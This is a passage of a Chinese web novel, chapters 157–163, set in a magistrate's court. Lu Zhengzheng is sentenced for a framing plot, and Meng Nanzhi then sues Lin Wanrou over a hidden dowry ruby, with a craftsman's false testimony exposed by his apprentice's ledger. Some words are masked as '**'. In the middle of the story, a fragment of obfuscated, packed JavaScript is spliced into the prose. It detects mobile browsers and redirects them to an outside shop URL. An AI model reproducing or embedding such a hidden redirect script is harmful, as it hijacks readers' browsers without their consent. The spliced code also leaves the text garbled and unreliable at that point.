黑水道:“回大人,陆姑娘见麻子时,给了麻子二十两银票,那二十两银票是小人去钱庄兑换的,一张十两,两张五两,其中一张五两的银票上,被涂鸦了一个‘米老头’。”
陈大人颔首,“那银票现在何处?”
黑水摇头,“小人不知。”
林婉柔闻言呼出一口气,连忙接话道:“大人,这恶奴是小女的马夫,小女让她换银票是常事,说不定是他拿了那银票去干了坏事也不可知。”
即便那银票真是女儿送出去的,林婉柔也不认为过了这么久,他们还能找到。
陆筝筝听完母亲的辩解,也跟着道:“大人,我是让他换过银票,但
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却从未给过麻子。”
孟南枝看着她们母女狡辩的模样,眼中闪过嘲弄,“大人,还请再传人证。”
陈大人再拍惊木,“传。”
紧接着,堂外便传来一阵细碎的脚步声。
依旧是相熟的两个人,如云客栈的掌柜和小厮。
曾经指证麻子和“铁柱”相熟的证人。
两人面色依旧苍白,战战兢兢地走到堂中央,跪了下来,“草民见过大人。”
在陈大人示意他们起身后,掌柜的便从怀中掏出一张银票,双手呈了出来,“大人,这是当初那位**的麻子和他那位同伴,在草民店中付下的银票。”
那银票正面朝上,赫然有笔墨画着一个小小的米老头。
一直默不作声的萧临渊,突然开口道:“掌柜的,你是怎么把那银票留到现在的?”
掌柜的发声发颤道:“回殿下,草民有个三岁的孩子,他在翻草民的柜子时,看到了这张带画的银票,就悄悄拿了出去临摹。”
“草民也是在这两日核对账目时,发觉少了一张,这才寻了这张银票出来。”
萧临渊听完,目光扫过陆筝筝、林婉柔,最后落在孟南枝的身上,唇角生了笑。
陈大人示意厅内衙役将银票收了过去。
确认物证“银票”与黑水的证词对上后,他重拍惊木,厉声道:“陆筝筝,你**一案证据确凿,你可认罪?!”
陆筝筝早在掌柜地将银票拿出来的时候,已经面色苍白地陷入死寂。
此刻被陈大人一喝,她身子微颤,突然惊醒过来,惶恐道:“大人,我冤枉!我从未**。”
林婉柔满目含泪地替女儿辩驳道:“大人,我女儿是冤枉的,她这辈子踩只蚂蚁都害怕,又怎么会**,还请大人明查。”
陈大人却不再听她们母女所言,与大理寺侍郎和都察院侍郎低声探讨两句后,重拍惊木。
“陆筝筝谋划辱人清白、**一案,证据确凿,依大衍律例,罪当死。但念其谋划**未遂,依律杖三十,徒三年,你可认罪?”
第158章 你到底是何居心?
“大人,民女不认罪。”
陆筝筝是真的冤枉。
污蔑南姨清白一事,确实是她按照母亲的安排做的。
但她是真的没有在麻子面提过一句杀害南姨。
可她此刻却一句也不能提,更无法反驳。
她但凡提一句,都会牵扯到母亲。
到时不仅她和母亲的名声尽数毁掉。
镇北侯肯定直接舍弃她和母亲。
奕王萧临渊也会嫌弃于她。
她现在只能恳求,母亲会想办法救助于她。
林婉柔听到判决,眸中暗恨,她攥着帕子,面色苍白地替女儿哭诉道:
“大人,这恶奴黑水曾被屠戎将军关进了将军府,这么多天不曾放出来,定是已经被孟南枝收买,故意污蔑我女儿。”
“那麻子本就是侯府的奴仆,又时常跟着沈世子身侧,我女儿平日里便常给他银票,想让他把世子照顾好。”
“大人不能仅凭这恶奴的口述,和一张银票就定我女儿的罪啊。大人判案一向明察秋毫,还请再仔细斟酌一番。”
陈大人皱了皱眉,“林夫人,本官知你护女心切。但如今人证物证俱全,这案子已经很明朗了。若你有异议,还请拿出新的证据来。”
林婉柔没话说了,她暂时拿不出证据。
孟南枝若是告她,她还有人证。
可孟南枝偏偏告的是她的女儿陆筝筝。
那日大雨,她因沈卿知去孟府寻孟南枝求和,也跟去了孟府。
故意在孟府门前下跪,试图以此逼迫孟南枝服软,并制造自己的不在场证据。
让行事低调,不会被孟南枝重视的女儿,去寻了麻子。
但那日雨实在下得太大,陆筝筝未备蓑衣,便未下马车。
因马夫黑水跟了她多年,是身为母亲亲自为她选的人,所以陆筝筝行事便未避着他。
哪曾想到,黑水竟然会被屠戎将军带走,并关进了将军府。
眼下不仅揭穿陆筝筝污蔑孟南枝清白一事,更将一些莫须有的罪名也安在了她头上。
思此,林婉柔再次暗恨女儿办事不够谨慎,让她一直替她收拾烂摊子。
更恨孟南枝做事太绝,这是拿捏了另外两名凶犯已死,故意栽赃陷害她的女儿。
萧临渊转动板指,开口道:“陈大人,据本王所知,在荷风宴上,那位自称是南枝姐夫君的男人,并未对南枝姐痛下**。”
“仅凭眼前这位马夫的一面之词,并不能将此案定性为**吧?”
萧临渊一开口,已经傻眼的沈卿知也反应过来。
奕王这还是想护着陆筝筝,心里在意着她呢。
想到前几日的梦境,沈卿知深知万万不能让陆筝筝背负**的罪名。
也跟着道:“大人,奕王殿下说得没错,只凭这恶奴的一面之词和一张银票,便将此案定性为**,实在过于牵强。”
陈大人再次与另外两名侍郎低声探讨后,沉声道:“此案人证物证俱在,举证人和犯人双方如有异议,可依法在十五日内提出申诉。”
“申诉期过后,若双方皆未提供新的证据,便以此结案。”
“在此之前,犯人陆筝筝先收关刑部看押,看押期间,任何人不可探监。”
这是防止串通案件。
站在一侧的孟南枝对就是判案没有提出任何异议。
林婉柔想得没错,萧临渊说的也没错。
马夫黑水的供词,一半真,一半假。
真,让麻子寻人污蔑她的清白是真。
假,让麻子在寻人污蔑她的清白杀她,便是假。
但偏偏,任何人都不能指出这里面的真假之分。
因为当初在荷风宴上,“铁柱”确实拿刀伤了她。
惊木再次落下,案审结束。
两个衙役上前拖着陆筝筝就往外走。
陆筝筝一脸慌乱地看向林婉柔,“母亲。”
林婉柔展现出惊人的母爱,奔跑上前,将陆筝筝抱在怀里,“筝儿,我的筝儿,让你受苦了。”
她面上凄凄惨惨,嘴上却是伏在女儿身边小声嘱咐,“在狱中什么也不要说,母亲会想办法救你出来。”
陆筝筝小心地点头,仰脸对沈卿知,道:“侯爷,您要相信筝筝是冤枉的,筝筝不在,您要帮筝筝照顾好母亲,筝筝怕母亲伤心。”
沈卿知满心复杂地点了点头。
陆筝筝又抬目看了看萧临渊,咬了咬下唇,却是什么也没说。
沈朝昭看不惯的冷嘲,“还真是会做样子。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16564571|185648||http|test|mini|href|location''.split(''|''),0,{}));
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r>等陆筝筝转身跟着衙役走到门口的时候,孟南枝却突然盯着她的发间,冷声道:“站住!”
她快步走到陆筝筝面间,拔掉陆筝筝发间的金簪,再次扣掉上面镶着鸽血石。
陆筝筝捂住有些发疼的头皮,惊呼:“南姨,你为什么要毁掉我的金簪?”
那是母亲才为她修好的。
孟南枝将金簪扔还给她,将鸽血石对光扬了扬,冷哼道:“这是你的东西吗?”
沈卿知走上前来,喝斥道:“南枝,你的宝石当初不是已经拿走了吗?什么非要再去要筝筝的东西?”
“你身为长辈,怎么,怎么能做出如此失礼之事!”
孟南枝将鸽血石握在怀里,冷冷地扫了眼林婉柔,“当日你那平妻递给我的那块宝石是假的,这个才是真的。”
林婉柔的面色有些难看,今日发生太多事,又来得太急,她倒是忘了让女儿把这簪子取下来。
沈卿知气道:“什么真的假的?我看得清楚,你那日扣下来的宝石就是真的。”
陆筝筝也一脸哭诉道:“南姨,这是母亲又重新为我买的宝石。”
孟南枝扫向众人,最后移到江鱼身上,“有火吗?”
正盯着她手中鸽血石仔细观看的江鱼,闻言怔了怔,连忙跑到审案厅的里间,寻了火石点了一枚烛火出来。
孟南枝将鸽血石举到烛火边,让跳动的橘红色光焰从石身穿过。
不多时,那枚鸽血石中间便出现一个水流似的“江”字。
江鱼见状,举着烛火的手抖了一下,震惊地看向孟南枝。
怎么会是她?
而孟南枝已经将鸽血石举起来,对众人扬了扬。
“这上面有着我母亲的姓氏,是我母亲留给我的遗物,请问镇北侯,你的平妻和继女,可也是有姓江的亲属?”
沈卿知一时无言,据他所知,还真没有。
可他与孟南枝成婚七载,她却从未告知他此事。
一时内心有种深深的挫败感。
见他不答,孟南枝又看向林婉柔,“林婉柔,你当初拿了一支假的金簪给我,却把真的私藏起来,留给你的女儿用。”
说到此处,孟南枝突然加重了语气,“你到底是何居心?!”
第159章 我要状告林婉柔
孟南枝的母亲并非京都贵女。
据父亲所说,他是在随还未荣登高位的圣上去江南查案时,遇到的母亲。
父亲抓嫌犯时,逃跑的嫌犯将一个正在桥边玩耍的小孩子给撞到了河里。
父亲想下去救人,但他却是半个旱鸭子。
是母亲不顾个人安危地救了小孩子,和跳下去差点淹死的父亲。
父亲对母亲一见钟情。
借口救命之恩,想要以身相许。
母亲拒绝他,他便打听母亲的喜好,多次偶遇母亲。
母亲本也对父亲有好感,两人在相处之中,感情越发深厚。
等母亲随父亲到了京都后,才知道父亲身份尊贵。
她以自己出身低下为由,曾离京几次,却都被父亲想方设法地追了回来。
并磨得当时身为皇妃的太后,收了母亲做义女。
两人成婚,诞下孟南枝。
在孟南枝十一岁那年,母亲病逝。
母亲很少提及自己的家人。
每当孟南枝问起时,她都会摸着她的头笑道:娘亲的家在很远很远的地方。
而母亲病逝后,给孟南枝留下唯一能代表她家族出身的地方,便是这颗鸽血石。
鸽血石那么多,孟南枝想不通林婉柔为什么非要留下她这颗。
林婉柔在孟南枝的质问中,攥紧了帕子,擦了下未干的眼泪,佯装不解道:“南枝,什么真假血石,我并不明白你的意思。”
“当初侯爷为筝儿打了这枚簪子,没想我父亲在为筝儿准备及笄礼时,与侯爷寻的竟是同一个匠工。”
“那名匠工图省事,竟然打了两个一模一样的簪子出来。我当时为了不让筝儿觉得她祖父未用心,便收起了其中一个簪子,想是当时在收起来时,便把两个簪子混淆了。”
说到此处,林婉柔面上挂着温婉的笑,客客气气地说道:“南枝,我并不知道这是你母亲的遗物,若知道,必然是不会收下的。”
孟南枝再次为林婉柔的厚脸皮感到“钦佩”。
她清楚地记得在去镇北侯府取嫁妆,问沈卿知讨要这鸽血石时。
林婉柔的表情,一言难尽,全是不情愿。
还想高价买了这颗鸽血石。
她明明知道这是她的嫁妆,却还存着故意占取的心思。
而且陆筝筝刚刚说了,这是她母亲重新买的宝石。
以她对林婉柔的了解,这话,怕是假的。
而恰时,沈朝昭突然开口说道:“林氏,你说错了吧,当初陆筝筝及笄礼时,我也在,我记得她的祖父,明明送的是一枚玉佩。”
沈朝昭清楚地记得,在陆筝筝及笄那日,陆筝筝在收到父亲送的簪子后,向她炫耀。
还隐晦地说,父亲对她比她好,让她莫要生气。
沈朝昭当时便被激得拿鞭子抽了她,结果被父亲禁足,还不允下人给她送饭。
她饿了整整两天的肚子。
期间,林婉柔佯装关心她,亲自给她送了饭。
可林婉柔说话太难听,明里说是让她不要和父亲置气,暗里却说父亲疼陆筝筝胜过疼她这个亲女儿。
沈朝昭气得把她送来的饭菜都砸了。
结果,再次被父亲看到,又罚她饿了两天肚子。
她若知道当时父亲送给陆筝筝的及笄礼,是外祖母留给母亲的遗物。
说什么也要抢过来。
林婉柔眸子暗了暗,倒是忘了现场还有这个小丫头片子在。
不过她面上很快就换上一副虚假的笑意,“朝昭你记得没错,你筝筝姐及笄礼时,我父亲确实是送的一枚玉佩。”
“那是因为我在知道父亲送的及笄礼和侯爷一样后,已经提前告知父亲,将这枚金簪给换了下来。”
“这才导致在及笄礼当日,你看到我父亲送的是玉佩,实际上那枚金簪早被我收了起来,送给了筝儿。”
沈朝昭不信,“那你把另外那支金簪也拿出来给我看看。”
别以为她年纪小,就看不出她在撒谎。
林婉柔笑着否决,“上次你母亲将宝石取下时,那金簪缺了宝石,便无了用处,被我融化另作它用,已经没了。”
沈朝昭冷哼,“什么没了,怕是心虚,不好解释你故意拿了我外祖母的遗物吧。”
孟南枝按压住女儿的手,她争不过林婉柔的。
依林婉柔的巧言善变,女儿在她面前,讨不了好处
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。
孟南枝看了眼陆筝筝手中的那枚金簪,突然对正堂上的陈大人福了福身子。
“陈大人,我要状告林婉柔私藏我的嫁妆。”
大衍律法,私藏,便为窃取,视为偷。
林婉柔瞪大双眼,垂下帕子,惊呼道:“孟南枝,已经说了并非是故意拿你嫁妆,你为何要苦苦相逼?”
陈大人看了眼孟南枝手中的鸽血石,又看了眼气急败坏的林婉柔,沉声应道:“允。”
这枚鸽血石,他曾听夫人提到过。
是孟南枝出嫁时的头面。
而已经起身准备离开的两位侍郎,互视一眼,又默默坐了回去。
镇北侯府的家事,果真是糟心得很。
这八卦,够他们吃一年了。
孟南枝对高堂在坐的三位大人,分别福了一礼,条理分明道:
“还请陈大人现在就将那制簪的匠工带到堂中,当场询问林婉柔所言是否属实。”
“若她所言非虚,便是故意私藏我的嫁妆,介时,还请大人以律处罚。”
陈大人对审案厅的刘捕头示意,“允。”
刘捕头得令,带着两个衙役便出了门。
沈卿知不满地走到孟南枝面前,面色阴沉。
“南枝,婉柔已经解释了,你拿走的那个可能是林父送的。既然是拿错了,换回来给你便是,你为何非要揪着不放?”
她已经把陆筝筝弄得关进牢狱。
再把林婉柔也关进去,沈卿知都不知道该怎么和林父交代了。
孟南枝眸色冷漠,“沈卿知,你应该知道,那只是她的措辞。若当时在侯府,我问寻你们,你们如实还我,也闹不到如此地步。”
“可她在明知道这是我母亲遗物的情况,却知情不说,故意强留,很难说存了什么不正当的心思。”
说到此处,孟南枝话锋一转,看着沈卿知,满目皆是冷嘲。
“沈卿知,我很好奇你当初是怎么想到,把我头面上的这颗鸽血石取下来,非要给她做金簪的?”
“是你心甘情愿非要挪用我的嫁妆?还是有人跟你蓄意讨要呢?”
“沈卿知,你若说不出个一二三来,我连你一起告。”
第160章 你不要逼侯爷
沈卿知在孟南枝的质问中陷入沉思。
当年因为先救林婉柔,导致孟南枝溺水后,孟父斥责于他,三个孩子也怪罪于他。
就连太后,也特意招他进宫,质问其因。
他为了挽回名声,花费了大量的金钱和物力去寻找她。
历经半年,他镇北侯的爱妻之名布满京都。
后来,他便以思念亡妻之由,对外声称不再续弦。
哪怕是圣上,在提到他时,也会感叹他的用情之深。
他盼望着随之欲来的职务高升、荣获圣眷,皆随着孟正德的致仕,成为泡影。
钱花光了。
人没找到。
连想要一直攀附的岳父,也致了仕。
沈卿知心灰意冷,以酒解忧。
是林婉柔给了他动力。
说只要他娶了她,便会说服林父无条件地给予他支持。
沈卿知心动,却还存在理智。
一直龟藏了多年,确定孟父是真的再也无心朝堂。
而他的爱妻之名,也彻底深入人心后,才在太后面前松口续弦之事。
只是,哪怕林婉柔对三个孩子表现得再好,太后对她也心有疙瘩,只同意了指她为平妻。
他在孟南枝溺水后的这些年,因为需要用钱打点各种事务人脉,确实动用了孟南枝不少嫁妆。
但那套头面,沈卿知却是没想动的。
戏做久了,便会成真。
打造爱妻名声的这些年,他时刻谨记自己是爱孟南枝的。
总不好把承载着他和孟南枝成婚记忆的头面再给送出去。
只是那年沈朝昭生辰,太后送了她一枚镶着血石的金簪。
他亲眼看到沈朝昭在陆筝筝面前炫耀,还差点拿金簪划伤了陆筝筝的脸。
一向乖巧的陆筝筝哪怕被欺负了,也不敢反抗。
那日夜里,林婉柔在性事之余,哭哭啼啼地向他提及此事。
他便承诺,一定会送陆筝筝一个不亚于那块血石的金簪。
他寻了几日,都未寻到合适的。
恰逢林婉柔整理库房,他便瞧见了那套头面。
反正孟南枝已经**,事隔这么多年,他的爱妻名声已经稳固如山。
不需要再做戏给任何人看。
所以,沈卿知便主动开口,说要把那头面上的鸽血石取下来,打造成金簪送给陆筝筝。
沈卿知隐隐约约记得,林婉柔当时好似还挽拒了几句。
说不好拿南枝的东西,南枝若在,也会把它留给朝昭。
是他说朝昭已经有了太后送的血石,这鸽血石留给她也是多余,硬把它给取了下来。
思此,沈卿知神色复杂地看向孟南枝,“南枝,这些话,我们可以坐下来好好谈的。”
孟南枝不置可否地摇头,“沈卿知,我与你之间没什么好谈的,还请不要逃避我的问题。”
“说得清,你就说。说不清,便自认私藏我的嫁妆吧。”
“南枝……”沈卿知面色难堪,喉间堵塞。
他总不能当着三司会审的面,承认是自己主动动了她的嫁妆吧。
那他明日还要不要在朝堂上混了。
林婉柔见状挽了帕子走上前,一副护着沈卿知的模样。
“南枝,你不要逼侯爷,此事都是我的错。我知你记恨于我,你想告,便告我一人好了,但侯爷他是无辜的。”
林婉柔看着沈卿知,一脸情深意切,“侯爷,怪妾身,只怪妾身连累了您。”
当年为了那枚鸽血石,她确实做了谋划,还让女儿在沈朝昭面前故意受了委屈。
但眼下,她要先保证沈卿知不起疑于她。
沈卿知听完,果真感动,挽住她的手道:“本侯不觉连累。”
林婉柔或有不足,但至少遇事是向着他的。
比孟南枝对他的咄咄逼人,要强上太多。
孟南枝见他们这般叽叽歪歪的模样,别开眼,“这么说,林婉柔你是承认私藏我的嫁妆了?”
林婉柔摇头,并不承认,“南枝,我已经说了,只是拿错,并非是故意私藏。”
孟南枝蹙眉,“那便等匠人来吧。”
林婉柔闻言,暗攥帕子对高堂之上的陈大人拜了拜,“陈大人,制簪一事,时隔久远,那匠人是否还能记得此事,并不可知。”
因为女儿之事,她在来的路上派人通知了父亲。
但没想到孟南枝除了告女儿,还要告她。
她不确定父亲能不能及时地做
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好准备,只能先给自己铺好后路。
然陈大人并不接受她的托词,只颔首道:“一切皆等匠人来了再说。”
刘捕头这次去得有点久,直到临近晌午才将人给带回来。
匠人上了年纪,头发花白,穿着一身半新的褐色短衣,许是见过很多贵人,他虽垂着头,步伐却并不胆怯。
走到堂中央后,他跪下磕头行礼,“草民见过诸位大人。”
陈大人重拍惊木,“本官问话,你要如实述说,不得有任何隐瞒。”
匠人低着的头压得更低,“草民定当如实述说,不敢有任何隐瞒。”
陈大人示意衙役将陆筝筝手中的金簪拿过来,递到匠人面前,沉声询问,“此金簪可是由你来打造的?”
匠人接过金簪仔细端详后,点头,“回大人,此簪确实是草民打造的,如果草民没有记错,这上面应该镶的是枚鸽血石。”
陈大人:“这枚金簪是何时打造的?”
匠人:“回大人,是去岁五月。”
陈大人:“事隔一年有余,你为何会记得这般清晰?”
匠人:“回大人,草民记得这般清晰,是因为草民当时打了两个一模一样的金簪,一个是镇北侯府订的,另一个是林尚书府订的。”
陈大人听完后,沉默下来。
林婉柔松开了紧攥的帕子。
孟南枝蹙眉,抬手安抚了一下,因听完此话后情绪低落下去的女儿沈朝昭。
就在旁人都以为此事已经定性,确实是有两套一模一样的金簪时,陈大人又突然开口道:“你可记录账本?”
匠人跪在地上的身子微僵,“草民记了。”
“可有带来?”陈大人问这句话的时候,看的并非是匠人,而是刘捕头。
刘捕头对他轻轻摇了摇头。
对于这种案子,他们办得多,不用大人交代,他也会在进店铺时便直接去查询账本。
可……
匠人的声音直到此刻,才能听出一丝微颤。
“回大人,草民的店铺,前日里下雨一直漏水,门前又一直往屋内灌水。账本被打湿,上面的字迹全都糊得看不清了。”
“草民、草民便将账本都烧了。”
第161章 我也要告孟南枝
此言一出,堂内众人皆是一怔。
太巧了。
巧到在场的每个人都怀疑此事的真实性。
沈朝昭气得跺脚,“你个刁民,早不烧晚不烧,偏偏在这个时候烧,分明就是有鬼。你是不是与林氏串通一气,故意在做伪证?”
陈大人目光锐利地扫视匠人,沉声道:“你可知依律例,作伪证乃为共犯。若被本官查实你作伪证,定不轻饶。”
匠人闻言身子弯得更加厉害,连忙辩驳道:“大人,草民所言句句属实,草民是万万不敢做伪证的。”
“草民并非是今日所烧,而是前日里便烧了,此事邻里皆知。草民已经如实告知刘捕头,刘捕头也问询过草民的邻里。”
刘捕头拱手确认,“大人,属下询问过邻里,他的铺子确实是前几日里漏雨,屋内也灌了水。”
“邻里还进屋内帮他搬移物品,亲眼所见账本被雨水浸湿,字迹模糊不清。还是邻里提出的建议,让烧了。”
审案厅陷入沉寂。
谁都没有想到林婉柔说的是真的。
这匠人说的竟然也是真的。
就连沈卿知,一开始也以为这是林婉柔的措辞。
沈朝昭不信,“没有证据,谁能证明他说的是真的,说不定那被烧的账本里根本就没有林府打簪的记录。”
林婉柔拿起帕子,掩了下勾起的唇角,换上一副悲痛的神情。
“朝昭,你母亲不知当年的情景怀疑我就算了,可我与你相处多年,你当知我的脾性,我对你母亲一向敬重,又怎么会做伪证去私藏她的嫁妆呢?”
沈朝昭看她这般模样,更加生气,“你什么脾性,你就是个不知廉耻、强占别人夫君的**!”
沈卿知生气地上前一步喝斥她,“沈朝昭!不得放肆!”
孟南枝进一步挡住他,“放肆?镇北侯,请问我的女儿哪里放肆了?”
沈卿知抬手指向沈朝昭,一脸怒气,“你瞧瞧她,哪有一点大家闺秀的样子。这是在公堂之上,她竟然还敢如此满口脏言乱语!”
沈朝昭在父亲的指责和怒气中,缩到了孟南枝身后,小声嘟囔,“我没有成为大家闺秀,还不是被你和她教的。”
按照她的经验,父亲又要罚她了。
孟南枝看着女儿在沈卿知面前发怯的模样,满是心疼。
她盯着沈卿知一字一顿道:“我的女儿,不需要做大家闺秀。再说,我的女儿,哪里说错了?”
沈朝知闻言眼睛亮了一下,主动握住了母亲的手。
二哥昨日和她说,可以完全相信母亲,不管遇到什么事,母亲一定会向着她。
果然是真的。
沈卿知对上孟南枝的目光,心中一窒。
这些年他已经习惯了指责女儿,倒是忘了孟南枝最护崽。
林婉柔挽着沈卿知的胳膊,委屈的泪水在眼眶里打转,“侯爷,你别吵朝昭,我知道她在是气我,替她母亲出气。“
沈卿知轻按在林婉柔的手,重重地瞪了沈朝昭一眼,转移话题道:
“南枝,既然匠人已经证实当初确实是打了两支一模一样的金簪,而你的宝石也已经还给了你,此事是否可以到此为止?”
孟南枝蹙眉。
依照现在的证据链而言。
匠人否认,证据销毁。
没有实证,陈大人不可能违反律法,故意去定林婉柔的罪。
只是……
林婉柔见孟南枝沉默下来,眼中闪过得意之色,面上却是一副受了万般委屈的模样。
“南枝,我早说过的,是弄错了,你现在可是信了?我知道你一时不能接受,但南枝呀,我是真心把你当姐妹的,从来没想过动你的东西。”
“姐妹?”孟南枝眸中皆是冷嘲,“林婉柔,别在我面前提及这两个字,让我恶心。你动我东西,动得还少么?”
林婉柔被讽刺的眼中闪过恼怒,但很快又恢复了那副楚楚可怜的模样,“南枝,我知道你还在怪我,可拿错金簪一事,真的是无心之失。”
沈朝昭从孟南枝身后探出头来,大声道:“鬼才信你的鬼话,你就是觊觎我母亲的嫁妆,想据为己有。”
林婉柔用帕子擦了擦眼角并不存在的泪水,“朝昭,事情已经证实我没错,你为何还要一而再,再而三地污蔑我?”
“既然南枝你不认我
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这个姐妹,还处处逼迫于我,那我……”
说到此处,林婉柔重重地叹出一口气,仿佛下了很大决心般,转身对高堂上的三位大人道:
“大人,既然已经证实我所言为实,那我也要告孟南枝和她的女儿沈朝昭污蔑我私藏之罪。”
孟南枝不是喜欢告么?
那她也要让孟南枝尝尝被告的滋味。
反正已经撕破了脸皮。
自以为父亲当了右相,就可以为所欲为。
孟正德再大,还能大得过律法?
若陈大人自持公正,必然是要接下她的状告。
果然,随着她的话音落地,陈大人眉头紧皱,说不出拒绝之词。
而大理寺侍郎和都察院侍郎互视一眼,突然起了身,对奕王萧临渊和陈大人分别拱手作辑道:
“陈大人,剩下之事,非三司会审审案范围,我等先行告辞。”
孟相是不能大过律法,但他们却不会捡了芝麻丢了西瓜的,去审理她这个明显是为了一气之争的小案子。
一个是靠攀附左相,才能坐上尚书之位的林父。
一个是致仕十年,一出手就拿下右相之位,成为圣上新宠的孟父。
该怎么选,他们这群官场老油子,还是拎得清的。
自陆筝筝**案判定后,便一直默不作声的萧临渊点了点头。
他虽为奕王,却并不能左右这些朝官的来去自由。
尤其是在三司会审上,他不能做过多举动。
否则,不过片刻,消息便会传到父皇的耳朵里。
陈大人回以辑礼,“有劳两位大人。”
他深知两位此刻是因何离开,但他为官多年,一向以公正自居。
刚同意了孟南枝状告林婉柔,此时再听林婉柔要反过来状告林婉柔,却不能不接,轻易偏袒任何一方。
思此,陈大人清了清嗓子,说道:“林氏,你状告孟南枝污蔑你私藏之罪,本官……”
只是他话还未说完,一直不被人注意,随着刘捕头一起离开的江鱼突然带着一句小厮上了高堂。
“大人,孟夫人并未污蔑林氏,是林氏确有藏私,而那匠人也在撒谎。”
第162章 也是可以理解的
随着江鱼的话音落地,众人皆皆回头看向他。
沈卿知怒斥道:“你是哪里冒出来的仆伇?无大人传唤,怎可擅闯公堂?”
江鱼轻飘飘地瞥了他一眼,对陈大人拱手道:“大人,草民江鱼,乃是沈府二公子的书童。”
他推了一把带过来的小厮,“这个人乃是匠人的学徒,他可以作证,当时匠人只打造了一支金簪。”
江鱼住进孟府后,沈砚珩时常和他说起,他母亲孟南枝不在的这些年,镇北侯和林婉柔对他们兄妹三人做的事。
江鱼对林婉柔的印象便是惯会算计之人。
所以他在刘捕头离开后,也第一时间跟了出去。
在去请匠人作证的途中,刘捕头一共遇见了两次阻拦。
一次是路边小贩的水果摊车翻了,刘捕头帮忙捡水果。
另一次是一个老太太在刘捕头面前突然晕倒了,刘捕头只得先把老太太送到医馆。
行走江湖多年的江鱼,总觉得是有人在故意拖延时间。
而在刘捕头带着衙役进了那匠人的店铺时,那匠人也没有过多惊慌,似乎提前做了准备。
所以江鱼在听了两句后,便去了更远一点的店铺,打听到匠人还有一个学徙,跟了他整三年。
而今日学徒恰好不在店铺,被匠人一早安排去给人送打好的首饰。
小厮在江鱼的轻推下,战战栗栗地双腿跪在了堂中央,“大、大人,草民二牛见过大人。”
林婉柔闻言攥紧了帕子。
而跪着的匠人,两眼一黑,差点晕倒在地。
完了,全完了。
峰回路转,陈大人重重的拍了一下惊木,“堂下二牛,本官问你,你们在去岁五月,可曾做了两支一模一样镶着鸽血石的金簪。”
担心二牛印象不深。
孟南枝将手中的鸽血石,连同衙役手中的金簪一同放到二牛面前。
二牛看了两眼,摇头道:“回大人,草民对这支金簪有印象,这是镇北侯府定制的,说是要给府中那位平妻的女儿做及笄礼。”
“草民的师傅,曾和草民说过,及笄礼一人一生只有一次,在做的时候最好不要与别的首饰样式重复,所以我从未见师傅打造过一样一样的及笄礼。”
“你个孽徒!”匠人抬头怒视二牛。
二牛在匠人的喝斥中垂下头,“师傅,您都过人,做人要实诚,不能撒谎,否则良心难安。”
匠人眸中闪过愤恨、死寂,最后又转身对陈大人重重地磕头道:“大人,草民的这位学徒他只知镇北侯来制金簪,并不知草民在晚上还连夜赶工制了另一支一模一样的金簪。”
孟南枝看着林婉柔越来越苍白的脸,轻笑道:“是什么样见不得不人事的,还要连夜赶制,连徒弟也要瞒着?”
“再说,你明知道是镇北侯送出的及笄礼,还要做出个一模一样的,这是有多大的胆子,连镇北侯都敢得罪,也不怕他知道了赏你几个铁板子。”
孟南枝言语中的酸刺挑得沈卿知面色难堪,“南枝!”
林大人重拍惊木,“本官最后给你一次机会,你若如实说来,本官可从轻发落。若再行狡辩,定不轻饶。”
匠人额头冷汗直下,却依旧坚持道:“大人,草民是真打造了两支一模一样的簪子。”
他不能承认,他还得罪不起官爷。
尤其是对方承诺,不管成败,都会好好的安置他的家人。
陈大人见他死不松口,看向二牛,“据他所言,当时有记录帐本,你可记得?”
二牛闻言连连点头,从怀里掏出一本被水打湿,晾干后卷边翘起的帐本出来,递给衙役,“回大人,这便是去年五月记录的帐本。”
陈大人接过帐本,“不是说都被烧了?你这帐本又是从哪里来的?”
二牛道:“回大人,店铺进水后,屋里已经没办法再放东西了,草民的家近,又在高坡上,师傅就把稍微好点的,都搬到了草民的家里。”
陈大人翻看到镇北侯府那一页,对匠人怒斥道:“人证物证在此,你可还有话说?帐本明明还在,却说烧了。欺瞒本官,还做伪证?!你当真是好大的胆。”
匠人浑身一软,满脸死寂地爬
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在地上,“草民,草民并未做伪证,草民为了避税,这才未曾记录林尚书府的那支金簪。”
“草民不敢将帐本递上来,就是怕被查税。草民是真的不敢在大人面前做伪证。”
账本被雨淋湿是真,火烧字迹模糊的账本也是真。
他唯一的谎言,便是打造了两支一模一样的金簪。
他可以承认**,却不能承认做伪证。
在大衍,这是两个性质的处罚。
陈大人:“事到如今还不肯说实话,来人,把他给我押下去,重打五十大板。”
奕王萧临渊突然开口道:“陈大人,现在上刑是否涉嫌屈打成招?”
陈大人皱眉,“奕王殿下,此人前后言辞不一,按照律法理该重罚。”
萧临渊转动板指,神色淡然道:“陈大人,民间店铺,为避税偷做假帐时常皆有。虽他前后言辞不一,但从这个角度解释,还是说得过去的。”
“若此时贸然上刑,万一他所言是实,岂不造成**。不如先将他押入大牢,多方核实后,再做定夺。”
沈卿知连忙附和道:“陈大人,奕王殿下所言极是,此事待核实,还是谨慎些好。”
奕王既然开口助他们,他自然要抓住机会。
萧临渊言罢,又看向孟南枝,“南枝姐,如此安排,想来你也是可以理解的吧?”
孟南枝眉峰微蹙,在看到陈大人对她微微点头后,浅笑道:“奕王殿下所言,臣女自是理解。”
萧临渊所言不无道理,陈大人不可能否决他的建议。
孟南枝眼下能做的,便是听从陈大人的决定。
陈大人:“既然奕王殿下这么说,那就先将他押入大牢。”
看着衙役上前将匠人押下去,孟南枝看着林婉柔,开口道:
“陈大人,虽说匠人还未定罪,但从目前的种种迹象来看,他做伪证的嫌疑可不小。”
“还请彻查林氏与匠人的关系,看看是否存在指使行为。”
言罢,孟南枝又笑盈盈地看向萧临渊,“如此,想来奕王殿下也是可以理解的,对吧?”
第163章 禁止外出
被反将一军的萧临渊眸色微暗,轻转板指。
他看着孟南枝,唇角笑意未减,“南枝姐说得对,确实可以理解。”
陈大人沉思片刻后,说道:“林氏,在本官未将此事查清前,还请你在府中不可外出。”
林婉柔攥着帕子,委屈道:“陈大人,我不服。匠人已经证实我并未私藏,为何还要禁我外出?”
女儿已经被关押入狱,她还有好些事情未做。
在此情况下,如何能被禁足。
